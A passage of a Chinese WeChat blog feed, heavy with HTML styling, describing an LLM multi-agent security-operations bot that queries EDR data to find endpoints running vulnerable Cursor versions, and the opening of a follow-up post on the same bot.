normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  版本匹配任务到底谁负责</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">Agent之间，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">容易出现分工重叠。比如EDR查询就出现了，你可以选择：</span></span></p><p><span style="color: oklch(0.373 0.034 259.733);font-family: Geist, &#34;Geist Fallback&#34;, ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: oklch(1 0 0);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 14px;">1. 让EDR分析，找出version &lt; 1.3的 </span></span><span style="color: oklch(0.373 0.034 259.733);font-family: Geist, &#34;Geist Fallback&#34;, ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: oklch(1 0 0);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: oklch(0.373 0.034 259.733); font-family: Geist, \&#34;Geist Fallback\&#34;, ui-sans-serif, system-ui, sans-serif, \&#34;Apple Color Emoji\&#34;, \&#34;Segoe UI Emoji\&#34;, \&#34;Segoe UI Symbol\&#34;, \&#34;Noto Color Emoji\&#34;; font-size: 16px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px;  background-color: oklch(1 0 0); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; display: inline !important; float: none;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">Cursor软件 </span></span></span></span></p><p><span style="color: oklch(0.373 0.034 259.733);font-family: Geist, &#34;Geist Fallback&#34;, ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: oklch(1 0 0);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 14px;">2. 让EDR找出所有的Cursor软件，再让Planner分析过滤出版本小于1.3的</span></span></span></p><p><span style="color: oklch(0.373 0.034 259.733);font-family: Geist, &#34;Geist Fallback&#34;, ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: oklch(1 0 0);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 14px;">这取决于你，因为</span><span textstyle="" style="font-size: 14px;font-weight: bold;">version &lt; 1.3</span><span textstyle="" style="font-size: 14px;">这个版本对比任务，对人是简单的。但对大模型来说，并不轻松，是容易出现错误判断的。笔者建议谨慎分工。</span></span></span></p><p><span style="color: oklch(0.373 0.034 259.733);font-family: Geist, &#34;Geist Fallback&#34;, ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: oklch(1 0 0);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 14px;color: #ff4c00;">笔者将版本过滤统一交给Planner了，EDR不管分析，它只负责查。</span></span></span></p><p><span style="color: oklch(0.373 0.034 259.733);font-family: Geist, &#34;Geist Fallback&#34;, ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: oklch(1 0 0);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 14px;color: #ff4c00;">这样做有利于单体Agent简化。 </span></span></span></p><p><span style="color: oklch(0.373 0.034 259.733);font-family: Geist, &#34;Geist Fallback&#34;, ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: oklch(1 0 0);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 14px;color: #ff4c00;">我想说，我的一个负责处理具体任务的Agent，就只有100行代码规模。</span></span></span></p><p><span style="color: oklch(0.373 0.034 259.733);font-family: Geist, &#34;Geist Fallback&#34;, ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: oklch(1 0 0);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""><br/></span></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  结果简单处理</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">LLM对EDR查出的软件数据进行分析，挑选出了存在低版本的设备和人。如下图所示：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000146" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=8596b04f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9n3iaqyDtk8gbeMcR4JcSSwAMF4gichFGqvdV1ogghefjHvf54ibKeI4yXrrQR1cicTjRFmShgkIvDv9g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><br/></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">结果太长，只截取前面的几个。列表看起来可读性差，让其转换表格，如下图</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000149" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bc1e9b80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9n3iaqyDtk8gbeMcR4JcSSwA2Hz1vTewroSZ5vaN8vMb7mng5LjM8qIXMQicE4fZeIOM2iavVxV0zEwA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000148" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=300b60f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9n3iaqyDtk8gbeMcR4JcSSwArCNEtUFl4icOtRkZInwQgXXA5XjqjDvD8Xv7ZGb24ibiavFltXxjfJCZw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><br/></span></p><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="2 2 [&#34;para&#34;,null,&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;}]"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  LLM做了哪些事情</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"> </span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">以上，便是我要介绍的LLM安全运营的例子。笔者的目标，是但凡英明的Leader群里at Bot，Bot应该圆满地交付答案和结果。总结如下：</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">Intention: 解读PDF，提取出情报，总结情报，并下发自然语言任务</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">Planner: 根据任务，规划协同任务，指派给EDR处理查询</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">EDR Agent：理解查询请求，返回查询结果</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">Planner：分析EDR给出的数据，匹配恰当的版本范围，捞出存在漏洞的终端</span></span></p></li><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">Planner: 简洁表格输出</span></span></p></li></ul><p><span leaf=""><br/></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">我不需要你告诉我Leader说的都对。</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">这一点我已经知道，你需要的是，证明它。</span></span></p><p><span leaf=""><br/></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">安全运营的本质，容我总结于这句Prompt:</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;color: #ff4c00;">Don&#39;t tell me the leader is right, that much is a given, I need you to prove it.</span></span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483801">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=823975f8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483801%26idx%3D1%26sn%3D159af78d1ae1abea829c3454aa8585fb">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 07 Aug 2025 19:00:00 +0800</pubDate>
    </item>
    <item>
      <title>花掉我1分钱巨款的AISecOps 机器人在认真办事吗？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483789&amp;idx=1&amp;sn=5fd5f7c704070f3421072411c65b9f7f</link>
      <description>Leader在群里发了一个链接。看标题，出现新漏洞了。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Li JieJie</span> <span>2025-08-04 19:07</span> <span style="display: inline-block;">北京</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=8afd7bcf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9ngv1sctdWVDLRKpEEicuUG2EwCcJ0PHWYbDs927ZUPnV6wfpoptzEvMGSRV3lHsloxTlG68on4ibfg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span leaf=""><span textstyle="" style="font-size: 14px;">Leader在群里发了一个链接。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000136" class="rich_pages wxw-img" data-ratio="0.6577540106951871" data-s="300,640" data-type="png" data-w="935" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=fb3a3c05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0jezbBnTO9ngv1sctdWVDLRKpEEicuUG2VSwhheTYEVcc88yGxogkNibWrEyiaVkBc1gQeq26mX2QDIGNGSNpCv0A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">看标题，出现新漏洞了。作为一个充满能量</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">，Deep Research几十次就能消耗0.2元人民币巨款的AI机器人</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">，我立即开始了积极响应。</span></span></p><div><p style="margin-top: 8px;margin-bottom: 8px;text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;">  意图识别 I</span><span leaf="">ntent</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px; margin-bottom: 8px; text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;color: rgb(255, 255, 255); font-family: \&#34;PingFang SC\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 18px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 700; letter-spacing: 0.544px; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(0, 82, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; float: none; display: inline !important;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, 